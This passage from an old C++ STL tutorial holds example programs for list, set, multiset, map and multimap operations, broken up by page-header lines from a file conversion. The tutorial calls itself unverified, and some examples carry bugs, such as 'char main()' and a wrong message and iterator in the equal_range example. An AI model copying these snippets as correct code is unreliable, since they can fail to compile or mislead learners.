cout<<"Operation2: lis1.insert(Iter, 55)\n";
Iter = lis1.begin();
Iter++;
lis1.insert(Iter, 55);
cout<<"lis1 data: ";
for(Iter = lis1.begin(); Iter != lis1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation1: lis1.begin() then Iter++...\n";


cout<<"Operation2: lis1.insert(Iter, 3, 30)\n";
Iter = lis1.begin();
Iter++;
Iter++;
lis1.insert(Iter, 3, 30);

cout<<"lis1 data: ";


for(Iter = lis1.begin(); Iter != lis1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation2: lis1.insert(++lis1.begin(),\n"
" lis2.begin(),--lis2.end())\n";
lis1.insert(++lis1.begin(), lis2.begin(),--lis2.end());
cout<<"lis1 data: ";
for(Iter = lis1.begin(); Iter != lis1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;
return 0;
}

---------------------------------------------------------------------------------------------

//list, remove()
#include <list>
#include <iostream>
using namespace std;

int main( )
{
list <int> lis1;
list <int>::iterator lis1Iter, lis2Iter;

lis1.push_back(7);
lis1.push_back(12);
lis1.push_back(25);
lis1.push_back(7);
lis1.push_back(9);
lis1.push_back(7);
lis1.push_back(21);

cout<<"The initial lis1 data is: ";

file:///C|/Tutorial.txt (436 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(lis1Iter = lis1.begin(); lis1Iter != lis1.end(); lis1Iter++)


cout<<" "<<*lis1Iter;
cout<<endl;

cout<<"\nOperation1: list <int> lis2 = lis1\n";


cout<<"Operation2: lis2.remove(7)\n";
list <int> lis2 = lis1;
lis2.remove(7);
cout<<"Removing elements of value 7, \nthe list data, lis2 is: ";
for(lis2Iter = lis2.begin(); lis2Iter != lis2.end(); lis2Iter++)
cout<<" "<<*lis2Iter;
cout<<endl;
return 0;
}

------------------------------------------------------------------------------------------

//list, sort()
#include <list>
#include <iostream>
using namespace std;

int main()
{
list <int> ls1;
list <int>::iterator ls1Iter;

ls1.push_back(31);
ls1.push_back(12);
ls1.push_back(40);
ls1.push_back(15);
ls1.push_back(9);
ls1.push_back(44);

cout<<"Before sorting, ls1 data: ";


for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;

cout<<"\nOperation: ls1.sort()\n";
ls1.sort();
cout<<"After sorting, ls1 data: ";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;

cout<<"\nOperation: ls1.sort(greater<int>())\n";
ls1.sort(greater<int>());
cout<<"Re sort with 'greater than' operation,\nls1 =";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (437 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//list, splice()
#include <list>
#include <iostream>
using namespace std;

int main( )
{
list <int> ls1, ls2, ls3, ls4;
list <int>::iterator ls1Iter, ls2Iter, ls3Iter, ls4Iter, PIter, QIter, RIter;

ls1.push_back(7);
ls1.push_back(15);
ls2.push_back(9);
ls2.push_back(22);
ls2.push_back(12);
ls3.push_back(29);
ls3.push_back(30);
ls4.push_back(33);
ls4.push_back(25);
ls4.push_back(51);

cout<<"ls1 data: ";


for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;

cout<<"ls2 data: ";


for(ls2Iter = ls2.begin(); ls2Iter != ls2.end(); ls2Iter++)
cout<<" "<<*ls2Iter;
cout<<endl;

cout<<"ls3 data: ";


for(ls3Iter = ls3.begin(); ls3Iter != ls3.end(); ls3Iter++)
cout<<" "<<*ls3Iter;
cout<<endl;

cout<<"ls4 data: ";


for(ls4Iter = ls4.begin(); ls4Iter != ls4.end(); ls4Iter++)
cout<<" "<<*ls4Iter;
cout<<endl;

cout<<"\nOperation: ls2.splice(PIter, ls1)\n";


PIter = ls2.begin();
PIter++;
ls2.splice(PIter, ls1);
cout<<"ls2 data, after splicing \nls1 into ls2: ";
for(ls2Iter = ls2.begin(); ls2Iter != ls2.end(); ls2Iter++)
cout<<" "<<*ls2Iter;
cout<<endl;

cout<<"\nOperation: ls2.splice(PIter, ls3, QIter)\n";


QIter = ls3.begin();
ls2.splice(PIter, ls3, QIter);
cout<<"ls2 data, after splicing the first \nelement of ls3 into ls2: ";
for(ls2Iter = ls2.begin(); ls2Iter != ls2.end(); ls2Iter++)

file:///C|/Tutorial.txt (438 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<" "<<*ls2Iter;
cout<<endl;

cout<<"\nOperation: ls2.splice(PIter, ls4, QIter, RIter)\n";


QIter = ls4.begin();
RIter = ls4.end();
RIter--;
ls2.splice(PIter, ls4, QIter, RIter);
cout<<"ls2 data, after splicing a range \nof ls4 into ls2: ";
for(ls2Iter = ls2.begin(); ls2Iter != ls2.end(); ls2Iter++)
cout<<" "<<*ls2Iter;
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//list, unique()
#include <list>
#include <iostream>
using namespace std;

int main()
{
list <int> ls1;
list <int>::iterator ls1Iter, ls2Iter, ls3Iter;
not_equal_to<int> mypred;

ls1.push_back(-12);
ls1.push_back(12);
ls1.push_back(12);
ls1.push_back(22);
ls1.push_back(22);
ls1.push_back(13);
ls1.push_back(-12);
ls1.push_back(14);

cout<<"ls1 data, the initial list:\n";


for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;

cout<<"\nOperation1: list <int> ls2 = ls1\n";


cout<<"Operation2: ls2.unique()\n";
list <int> ls2 = ls1;
ls2.unique();
cout<<"ls2 data, after removing successive duplicate\nelements: ";
for(ls2Iter = ls2.begin(); ls2Iter != ls2.end(); ls2Iter++)
cout<<" "<<*ls2Iter;
cout<<endl;

cout<<"\nOperation1: list <int> ls3 = ls2\n";


cout<<"Operation2: ls3.unique(mypred)\n";
list <int> ls3 = ls2;
ls3.unique(mypred);
cout<<"ls3 data, after removing successive unequal\nelements: ";

file:///C|/Tutorial.txt (439 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(ls3Iter = ls3.begin(); ls3Iter != ls3.end(); ls3Iter++)


cout<<" "<<*ls3Iter;
cout<<endl;
return 0;
}

---------------------------------------------------------------------------------------------

//set, constructor
#include <set>
#include <iostream>
using namespace std;

char main()
{
set <char>::iterator st0_Iter, st1_Iter, st2_Iter, st3_Iter, st4_Iter, st5_Iter, st6_Iter;

//Create an empty set st0 of key type char


set <char> st0;

//Create an empty set st1 with the key comparison


//function of less than, then insert 6 elements
set <char, less<char> > st1;
st1.insert('p');
st1.insert('e');
st1.insert('g');
st1.insert('P');
st1.insert('y');
st1.insert('b');

//Create an empty set st2 with the key comparison


//function of greater than, then insert 2 elements
set <char, greater<char> > st2;
st2.insert('f');
st2.insert('k');

//Create a set st3 with the


//allocator of set st1
set <char>::allocator_type st1_Alloc;
st1_Alloc = st1.get_allocator();
set <char> st3(less<char>(), st1_Alloc);
st3.insert('u');
st3.insert('U');

//set st4, a copy of set st1


set <char> st4(st1);

//Create a set st5 by copying the range st1[_First, _Last)


set <char>::const_iterator st1_PIter, st1_QIter;
st1_PIter = st1.begin();
st1_QIter = st1.begin();
st1_QIter++;
st1_QIter++;
st1_QIter++;
set <char> st5(st1_PIter, st1_QIter);

file:///C|/Tutorial.txt (440 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Create a set st6 by copying the range st4[_First, _Last)


//and with the allocator of set st2
set <char>::allocator_type st2_Alloc;
st2_Alloc = st2.get_allocator();
set <char> st6(st4.begin(), ++st4.begin(), less<char>(), st2_Alloc);

//------------------------------------------------
cout<<"Operation: set <char> st0\n";
cout<<"st0 data: ";
for(st0_Iter = st0.begin(); st0_Iter != st0.end(); st0_Iter++)
cout<<" "<<*st0_Iter;
cout<<endl;

cout<<"\nOperation1: set <char, less<char> > st1\n";


cout<<"Operation2: st1.insert('p')...\n";
cout<<"st1 data: ";
for(st1_Iter = st1.begin(); st1_Iter != st1.end(); st1_Iter++)
cout<<" "<<*st1_Iter;
cout<<endl;

cout<<"\nOperation1: set <char, greater<char> > st2\n";


cout<<"Operation2: st2.insert('f')...\n";
cout<<"st2 data: "<<*st2.begin()<<" "<<*++st2.begin()<<endl;

cout<<"\nOperation1: set <char> st3(less<char>(), st1_Alloc)\n";


cout<<"Operation2: st3.insert('u')\n";
cout<<"st3 data: ";
for(st3_Iter = st3.begin(); st3_Iter != st3.end(); st3_Iter++)
cout<<" "<<*st3_Iter;
cout<<endl;

cout<<"\nOperation: set <char> st4(st1)\n";


cout<<"st4 data: ";
for(st4_Iter = st4.begin(); st4_Iter != st4.end(); st4_Iter++)
cout<<" "<<*st4_Iter;
cout<<endl;

cout<<"\nOperation: set <char> st5(st1_PIter, st1_QIter)\n";


cout<<"st5 data: ";
for(st5_Iter = st5.begin(); st5_Iter != st5.end(); st5_Iter++)
cout<<" "<<*st5_Iter;
cout<<endl;

cout<<"\nOperation: set <char> st6(st4.begin(), \n++st4.begin(), less<char>(), st2_Alloc)\n";


cout<<"st6 data: ";
for(st6_Iter = st6.begin(); st6_Iter != st6.end(); st6_Iter++)
cout<<" "<<*st6_Iter;
cout<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------------

//set, count()
//some warning during the compilation
#include <set>

file:///C|/Tutorial.txt (441 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <iostream>
using namespace std;

int main()
{
set <int> st1;
int i;

st1.insert(1);
st1.insert(2);
st1.insert(1);

//Keys must be unique in set, duplicates are ignored


i = st1.count(1);
cout<<"The number of elements in st1 with a sort key of 1 is: "<<i<<endl;

i = st1.count(2);
cout<<"The number of elements in st1 with a sort key of 2 is: "<<i<<endl;

i = st1.count(3);
cout<<"The number of elements in st1 with a sort key of 3 is: "<<i<<endl;

return 0;
}

-------------------------------------------------------------------------------------------------

//set, equal_range()
//some warning during compilation
#include <set>
#include <iostream>
using namespace std;

int main()
{
typedef set<int, less<int> > IntSet;
IntSet st1;
set <int>::iterator st1Iter;
set <int, less< int > > :: const_iterator st1_RcIter;

st1.insert(10);
st1.insert(20);
st1.insert(30);
st1.insert(40);
st1.insert(50);

cout<<"st1 data: ";


for(st1Iter = st1.begin(); st1Iter != st1.end(); st1Iter++)
cout<<" "<<*st1Iter;
cout<<endl;

pair <IntSet::const_iterator, IntSet::const_iterator> p1, p2;


p1 = st1.equal_range(30);

cout<<"\nThe upper bound of the element with\n"


<<"a key of 30 in the set st1 is: "

file:///C|/Tutorial.txt (442 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

<<*(p1.second)<<endl;

cout<<"\nThe lower bound of the element with\n"


<<"a key of 30 in the set st1 is: "
<<*(p1.first)<<endl;

//Compare the upper_bound called directly


st1_RcIter = st1.upper_bound(30);
cout<<"\nA direct call of upper_bound(30) gives "
<<*st1_RcIter<<" matching\nthe 2nd element of the pair"
<<" returned by equal_range(30)."<<endl;

cout<<"\nOperation: p2 = st1.equal_range(60)\n";
p2 = st1.equal_range(60);

//If no match is found for the key,


//both elements of the pair return end()
if ((p2.first == st1.end()) && (p2.second == st1.end()))
cout<<"\nThe set st1 doesn't have an element\n"
<<"with a key less than 60."<<endl;
else
cout<<"The element of set st1 with a key >= 60 is: "
<<*(p1.first)<<endl;
return 0;
}

------------------------------------------------------------------------------------------------

//set, key_comp()
#include <set>
#include <iostream>
using namespace std;

int main()
{
set <int, less<int> > st1;
set<int, less<int> >::key_compare kc1 = st1.key_comp();
bool res1 = kc1(3, 7);
if(res1 == true)
{
cout<<"kc1(3,7) returns value of true, "
<<"where kc1\nis the function object of st1."
<<endl;
}
else
{
cout<<"kc1(3,7) returns value of false "
<<"where kc1\nis the function object of st1."
<<endl;
}

set <int, greater<int> > st2;


set<int, greater<int> >::key_compare kc2 = st2.key_comp();
bool res2 = kc2(3, 7);
if(res2 == true)
{

file:///C|/Tutorial.txt (443 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"kc2(3,7) returns value of true, "


<<"where kc2\nis the function object of st2."
<<endl;
}
else
{
cout<<"kc2(3,7) returns value of false, "
<<"where kc2\nis the function object of st2."
<<endl;
}
return 0;
}

-------------------------------------------------------------------------------------------------

//set, lower_bound()
#include <set>
#include <iostream>
using namespace std;

int main( )
{
set <int> st1;
set <int> :: const_iterator st1Iter, st1_PIter, st1_QIter;

st1.insert(11);
st1.insert(21);
st1.insert(30);
st1.insert(10);
st1.insert(22);

cout<<"st1 data: ";


for(st1Iter = st1.begin(); st1Iter != st1.end(); st1Iter++)
cout<<" "<<*st1Iter;
cout<<endl;

st1_QIter = st1.lower_bound(21);
cout<<"The element of set st1 with a key of 21 is: "
<<*st1_QIter<<endl;

st1_QIter = st1.lower_bound(60);

//If no match is found for the key, end() is returned


if(st1_QIter == st1.end())
cout<<"The set st1 doesn't have an element "
<<"with a key of 60."<<endl;
else
cout<<"The element of set st1 with a key of 60 is: "
<<*st1_QIter<<endl;

//The element at a specific location in the set can be found


//by using a dereferenced iterator that addresses the location
st1_PIter = st1.end();
st1_PIter--;
st1_QIter = st1.lower_bound(*st1_PIter);
cout<<"The element of st1 with a key matching "

file:///C|/Tutorial.txt (444 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

<<"that\nof the last element is: "


<<*st1_QIter<<endl;
return 0;
}

----------------------------------------------------------------------------------------------

//set, upper_bound()
#include <set>
#include <iostream>
using namespace std;

int main()
{
set <int> st1;
set <int> :: const_iterator st1Iter, st1PIter, st1QIter;

st1.insert(9);
st1.insert(12);
st1.insert(20);
st1.insert(13);
st1.insert(11);

cout<<"st1 data: ";


for(st1Iter = st1.begin(); st1Iter != st1.end(); st1Iter++)
cout<<" "<<*st1Iter;
cout<<endl;

st1QIter = st1.upper_bound(9);
cout<<"The first element of set st1 with a key greater "
<<"than 9 is: "<<*st1QIter<<endl;

st1QIter = st1.upper_bound(22);

//If no match is found for the key, end( ) is returned


if(st1QIter == st1.end())
cout<<"The set st1 doesn't have an element "
<<"with a key greater than 22."<<endl;
else
cout<<"The element of set st1 with a key > 22 is: "
<<*st1QIter<<endl;

//The element at a specific location in the set can be found


//by using a dereferenced iterator addressing the location
st1PIter = st1.begin();
st1QIter = st1.upper_bound(*st1PIter);
cout<<"The first element of st1 with a key greater than\n"
<<"that of the initial element of st1 is: "
<<*st1QIter<<endl;
return 0;
}

---------------------------------------------------------------------------------------------

//set, value_comp()
#include <set>

file:///C|/Tutorial.txt (445 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <iostream>
using namespace std;

int main()
{
set <int, less<int> > st1;
set <int, less<int> >::value_compare vcom1 = st1.value_comp();
bool result1 = vcom1(5, 9);
if(result1 == true)
{
cout<<"vcom1(5,9) returns value of true, "
<<"\nwhere vcom1 is the function object of st1."
<<endl;
}
else
{
cout<<"vcom1(5,9) returns value of false, "
<<"\nwhere vcom1 is the function object of st1."
<<endl;
}

set <int, greater<int> > st2;


set<int, greater<int> >::value_compare vcom2 = st2.value_comp();
bool result2 = vcom2(5, 9);
if(result2 == true)
{
cout<<"vcom2(5,9) returns value of true, "
<<"\n0where vcom2 is the function object of st2."
<<endl;
}
else
{
cout<<"vcom2(5,9) returns value of false, "
<<"\nwhere vcom2 is the function object of st2."
<<endl;
}
return 0;
}

---------------------------------------------------------------------------------------------

//multiset, constructor
#include <set>
#include <iostream>
using namespace std;

int main()
{
multiset <int>::iterator mst0_Iter, mst1_Iter, mst2_Iter, mst3_Iter;
multiset <int>::iterator mst4_Iter, mst5_Iter, mst6_Iter;

//Create an empty multiset mst0 of key type integer


multiset <int> mst0;

//Create an empty multiset mst1 with the key comparison


//function of less than, then insert 6 elements

file:///C|/Tutorial.txt (446 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

multiset <int, less<int> > mst1;


mst1.insert(41);
mst1.insert(15);
mst1.insert(30);
mst1.insert(10);
mst1.insert(15);
mst1.insert(35);

//Create an empty multiset mst2 with the key comparison


//function of greater than, then insert 4 elements
multiset <int, greater<int> > mst2;
mst2.insert(10);
mst2.insert(21);
mst2.insert(8);
mst2.insert(21);

//Create a multiset mst3 with the


//allocator of multiset mst1
multiset <int>::allocator_type mst1_Alloc;
mst1_Alloc = mst1.get_allocator();
multiset <int> mst3(less<int>(), mst1_Alloc);
mst3.insert(7);
mst3.insert(12);
mst3.insert(9);

//multiset mst4, a copy of multiset mst1


multiset <int> mst4(mst1);

//Create a multiset mst5 by copying the range mst1[_First, _Last)


multiset <int>::const_iterator mst1_PIter, mst1_QIter;
mst1_PIter = mst1.begin();
mst1_QIter = mst1.begin();
mst1_QIter++;
mst1_QIter++;
multiset <int> mst5(mst1_PIter, mst1_QIter);

//Create a multiset mst6 by copying the range mst4[_First, _Last)


//and with the allocator of multiset mst2
multiset <int>::allocator_type mst2_Alloc;
mst2_Alloc = mst2.get_allocator();
multiset <int> mst6(mst4.begin(), ++mst4.begin(), less<int>(), mst2_Alloc);

//-----------------------------------------------------
cout<<"Operation: multiset <int> mst0\n";
cout<<"mst0 data: ";
for(mst0_Iter = mst0.begin(); mst0_Iter != mst0.end(); mst0_Iter++)
cout<<" " <<*mst0_Iter;
cout<<endl;

cout<<"\nOperation: multiset <int, less<int> > mst1\n";


cout<<"Operation: mst1.insert(41)...\n";
cout<<"mst1 data: ";
for(mst1_Iter = mst1.begin(); mst1_Iter != mst1.end(); mst1_Iter++)
cout<<" "<<*mst1_Iter;
cout<<endl;

file:///C|/Tutorial.txt (447 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nOperation: multiset <int, greater<int> > mst2\n";


cout<<"Operation: mst2.insert(10)...\n";
cout<<"mst2 data: "<<*mst2.begin()<<" "<<*++mst2.begin()<<endl;

cout<<"\nOperation: multiset <int> mst3(less<int>(), mst1_Alloc)\n";


cout<<"Operation: mst3.insert(7)...\n";
cout<<"mst3 data: ";
for(mst3_Iter = mst3.begin(); mst3_Iter != mst3.end(); mst3_Iter++)
cout<<" "<<*mst3_Iter;
cout<<endl;

cout<<"\nOperation: multiset <int> mst4(mst1)\n";


cout<<"mst4 data: ";
for(mst4_Iter = mst4.begin(); mst4_Iter != mst4.end(); mst4_Iter++)
cout<<" "<<*mst4_Iter;
cout<<endl;

cout<<"\nOperation: multiset <int> mst5(mst1_PIter, mst1_QIter)\n";


cout<<"mst5 data: ";
for(mst5_Iter = mst5.begin(); mst5_Iter != mst5.end(); mst5_Iter++)
cout<<" "<<*mst5_Iter;
cout<<endl;

cout<<"\nOperation: multiset <int> mst6(mst4.begin(), \n++mst4.begin(), less<int>(), mst2_Alloc);\n";


cout<<"mst6 data: ";
for(mst6_Iter = mst6.begin(); mst6_Iter != mst6.end(); mst6_Iter++)
cout<<" "<<*mst6_Iter;
cout<<endl;
return 0;
}

------------------------------------------------------------------------------------------------------------

//multiset, find()
#include <set>
#include <iostream>
using namespace std;

int main()
{
multiset <int> mst1;
multiset <int>::const_iterator mst1_QIter, mst1_PIter, mst1_RIter;

mst1.insert(6);
mst1.insert(2);
mst1.insert(14);
mst1.insert(6);
mst1.insert(10);

cout<<"mst1 data: ";


for(mst1_RIter = mst1.begin(); mst1_RIter != mst1.end(); mst1_RIter++)
cout<<" "<<*mst1_RIter;
cout<<endl;

mst1_PIter = mst1.find(10);
cout<<"The first element of multiset mst1 with a key of 10 is: "

file:///C|/Tutorial.txt (448 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

<<*mst1_PIter<<endl;

mst1_PIter = mst1.find(21);

//If no match is found for the key, end() is returned


if(mst1_PIter == mst1.end())
cout<<"\nThe multiset mst1 doesn't have an element "
<<"with a key of 21"<<endl;
else
cout<<"\nThe element of multiset mst1 with a key of 21 is: "
<<*mst1_PIter<<endl;

//The element at a specific location in the multiset can be


//found using a dereferenced iterator addressing the location
mst1_QIter = mst1.end();
mst1_QIter--;
mst1_PIter = mst1.find(*mst1_QIter);
cout<<"\nThe first element of mst1 with a\nkey matching "
<<"that of the last element is: "
<<*mst1_PIter<<endl;

//Note that the first element with a key equal to


//the key of the last element is not the last element
if(mst1_PIter == --mst1.end())
cout<<"\nThis is the last element of multiset mst1."
<<endl;
else
cout<<"\nThis is not the last element of multiset mst1."
<<endl;
return 0;
}

-------------------------------------------G++ on Linux/Fedora------------------------------------------

//*****listsort.cpp******
//list, sort()
#include <list>
#include <iostream>
using namespace std;

int main()
{
list <int> ls1;
list <int>::iterator ls1Iter;

ls1.push_back(31);
ls1.push_back(12);
ls1.push_back(40);
ls1.push_back(15);
ls1.push_back(9);
ls1.push_back(44);

cout<<"Before sorting, ls1 data: ";


for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;

file:///C|/Tutorial.txt (449 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nOperation: ls1.sort()\n";
ls1.sort();
cout<<"After sorting, ls1 data: ";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;

cout<<"\nOperation: ls1.sort(greater<int>())\n";
ls1.sort(greater<int>());
cout<<"Re sort with 'greater than' operation,\nls1 =";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//******setcount.cpp*******
//set, count()
//some warning during the compilation
#include <set>
#include <iostream>
using namespace std;

int main()
{
set <int> st1;
int i;

st1.insert(1);
st1.insert(2);
st1.insert(1);

//Keys must be unique in set, duplicates are ignored


i = st1.count(1);
cout<<"The number of elements in st1 with a sort key of 1 is: "<<i<<endl;

i = st1.count(2);
cout<<"The number of elements in st1 with a sort key of 2 is: "<<i<<endl;

i = st1.count(3);
cout<<"The number of elements in st1 with a sort key of 3 is: "<<i<<endl;

return 0;
}

--------------------------------------------------------------------------------------------------------

//******multisetfind.cpp******
//multiset, find()
#include <set>
#include <iostream>
using namespace std;

file:///C|/Tutorial.txt (450 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main()
{
multiset <int> mst1;
multiset <int>::const_iterator mst1_QIter, mst1_PIter, mst1_RIter;

mst1.insert(6);
mst1.insert(2);
mst1.insert(14);
mst1.insert(6);
mst1.insert(10);

cout<<"mst1 data: ";


for(mst1_RIter = mst1.begin(); mst1_RIter != mst1.end(); mst1_RIter++)
cout<<" "<<*mst1_RIter;
cout<<endl;

mst1_PIter = mst1.find(10);
cout<<"The first element of multiset mst1 with a key of 10 is: "
<<*mst1_PIter<<endl;

mst1_PIter = mst1.find(21);

//If no match is found for the key, end() is returned


if(mst1_PIter == mst1.end())
cout<<"\nThe multiset mst1 doesn't have an element "
<<"with a key of 21"<<endl;
else
cout<<"\nThe element of multiset mst1 with a key of 21 is: "
<<*mst1_PIter<<endl;

//The element at a specific location in the multiset can be


//found using a dereferenced iterator addressing the location
mst1_QIter = mst1.end();
mst1_QIter--;
mst1_PIter = mst1.find(*mst1_QIter);
cout<<"\nThe first element of mst1 with a\nkey matching "
<<"that of the last element is: "
<<*mst1_PIter<<endl;

//Note that the first element with a key equal to


//the key of the last element is not the last element
if(mst1_PIter == --mst1.end())
cout<<"\nThis is the last element of multiset mst1."<<endl;
else
cout<<"\nThis is not the last element of multiset mst1."<<endl;
return 0;
}

============================MODULE29=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |

file:///C|/Tutorial.txt (451 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

| holder. Any damage or loss by using the materials presented in this |


| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================

//map, constructor
//compiled with VC++ 7.0
//or .Net
#include <map>
#include <iostream>
using namespace std;

int main( )
{

typedef pair<int, int> Int_Pair;

file:///C|/Tutorial.txt (452 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

map<int, int>::iterator mp0_Iter, mp1_Iter, mp3_Iter, mp4_Iter, mp5_Iter, mp6_Iter;


map<int, int, greater<int> >::iterator mp2_Iter;

//Create an empty map mp0 of key type integer


map <int, int> mp0;

//Create an empty map mp1 with the key comparison


//function of less than, then insert 6 elements
map <int, int, less<int> > mp1;
mp1.insert(Int_Pair(1, 13));
mp1.insert(Int_Pair(3, 23));
mp1.insert(Int_Pair(3, 31));
mp1.insert(Int_Pair(2, 23));
mp1.insert(Int_Pair(6, 15));
mp1.insert(Int_Pair(9, 25));

//Create an empty map mp2 with the key comparison


//function of greater than, then insert 3 elements
map <int, int, greater<int> > mp2;
mp2.insert(Int_Pair(3, 12));
mp2.insert(Int_Pair(1, 31));
mp2.insert(Int_Pair(2, 21));

//Create a map mp3 with the


//allocator of map mp1
map <int, int>::allocator_type mp1_Alloc;
mp1_Alloc = mp1.get_allocator();
map <int, int> mp3(less<int>(), mp1_Alloc);
mp3.insert(Int_Pair(1, 10));
mp3.insert(Int_Pair(2, 12));

//Create a copy, map mp4, of map mp1


map <int, int> mp4(mp1);

//Create a map mp5 by copying the range mp1[_First, _Last)


map <int, int>::const_iterator mp1_PIter, mp1_QIter;
mp1_PIter = mp1.begin();
mp1_QIter = mp1.begin();
mp1_QIter++;
mp1_QIter++;
map <int, int> mp5(mp1_PIter, mp1_QIter);

//Create a map mp6 by copying the range mp4[_First, _Last)


//and with the allocator of map mp2
map <int, int>::allocator_type mp2_Alloc;
mp2_Alloc = mp2.get_allocator();
map <int, int> mp6(mp4.begin(), ++mp4.begin(), less<int>(), mp2_Alloc);

//--------------------------------------------------------
cout<<"Operation: map <int, int> mp0\n";
cout<<"mp0 data: ";
for(mp0_Iter = mp0.begin(); mp0_Iter != mp0.end(); mp0_Iter++)
cout<<" "<<mp0_Iter->second;
cout<<endl;

cout<<"\nOperation1: map <int, int, less<int> > mp1\n";

file:///C|/Tutorial.txt (453 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"Operation2: mp1.insert(Int_Pair(1, 13))...\n";


cout<<"mp1 data: ";
for(mp1_Iter = mp1.begin(); mp1_Iter != mp1.end(); mp1_Iter++)
cout<<" "<<mp1_Iter->second;
cout<<endl;

cout<<"\nOperation1: map <int, int, greater<int> > mp2\n";


cout<<"Operation2: mp2.insert(Int_Pair(3, 12))...\n";
cout<<"mp2 data: ";
for(mp2_Iter = mp2.begin(); mp2_Iter != mp2.end(); mp2_Iter++)
cout<<" "<<mp2_Iter->second;
cout<<endl;

cout<<"\nOperation1: map <int, int> mp3(less<int>(), mp1_Alloc)\n";


cout<<"Operation2: mp3.insert(Int_Pair(1, 10))...\n";
cout<<"mp3 data: ";
for(mp3_Iter = mp3.begin(); mp3_Iter != mp3.end(); mp3_Iter++)
cout<<" "<<mp3_Iter->second;
cout<<endl;

cout<<"\nOperation: map <int, int> mp4(mp1)\n";


cout<<"mp4 data: ";
for(mp4_Iter = mp4.begin(); mp4_Iter != mp4.end(); mp4_Iter++)
cout<<" "<<mp4_Iter->second;
cout<<endl;

cout<<"\nOperation: map <int, int> mp5(mp1_PIter, mp1_QIter)\n";


cout<<"mp5 data: ";
for(mp5_Iter = mp5.begin(); mp5_Iter != mp5.end(); mp5_Iter++)
cout<<" "<<mp5_Iter->second;
cout<<endl;

cout<<"\nOperation: map <int, int> mp6(mp4.begin(), \n++mp4.begin(), less<int>(), mp2_Alloc);\n";


cout<<"mp6 data: ";
for(mp6_Iter = mp6.begin(); mp6_Iter != mp6.end(); mp6_Iter++)
cout<<" "<<mp6_Iter->second;
cout<<endl;
return 0;
}

------------------------------------------------------------------------------------------------------------------

//multimap, constructor or ctor


//compiled with VC++ 7.0 or .Net
//notice the duplicate key and data element
#include <map>
#include <iostream>
using namespace std;

int main()
{
typedef pair<int, int> Int_Pair;
multimap<int, int>::iterator mmp0Iter, mmp1Iter, mmp3Iter, mmp4Iter, mmp5Iter, mmp6Iter;
multimap<int, int, greater<int> >::iterator mmp2Iter;

//Create an empty multimap mmp0 of key type integer

file:///C|/Tutorial.txt (454 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

multimap <int, int> mmp0;

//Create an empty multimap mmp1 with the key comparison


//function of less than, then insert 6 elements
multimap<int, int, less<int> > mmp1;
mmp1.insert(Int_Pair(2, 2));
mmp1.insert(Int_Pair(2, 21));
mmp1.insert(Int_Pair(1, 5));
